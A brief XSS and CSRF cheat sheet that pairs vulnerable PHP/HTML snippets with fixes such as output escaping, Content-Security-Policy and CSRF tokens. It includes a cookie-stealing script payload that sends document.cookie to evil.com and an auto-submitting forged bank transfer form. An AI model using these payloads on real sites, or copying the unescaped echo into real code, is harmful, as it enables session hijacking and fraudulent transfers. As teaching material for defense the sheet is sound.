Web Security Basics (XSS/CSRF) Cheat Sheet

<!-- VULNERABLE: user input rendered without escaping --><div>Welcome, <?php echo $_GET['name']; ?></div><!-- Attacker URL: ?name=<script>fetch('https://evil.com?c='+document.cookie)</script> --><!-- FIX 1: HTML-escape output --><div>Welcome, <?php echo htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8'); ?></div><!-- FIX 2: Content-Security-Policy header blocks inline script execution --><!-- Content-Security-Policy: default-src 'self'; script-src 'self' --><!-- FIX 3: In React/Vue, avoid dangerouslySetInnerHTML / v-html with untrusted input -->

<!-- Attacker's page auto-submits a form to your bank while the user is logged in --><form action="https://bank.com/transfer" method="POST" id="csrf">  <input type="hidden" name="to" value="attacker-account">  <input type="hidden" name="amount" value="10000"></form><script>document.getElementById('csrf').submit();</script><!-- DEFENSE: server includes a per-session CSRF token the attacker can't guess --><form action="/transfer" method="POST">  <input type="hidden" name="csrf_token" value="{{ csrfToken }}">  ...</form><!-- Server rejects the request unless the submitted token matches the session's token -->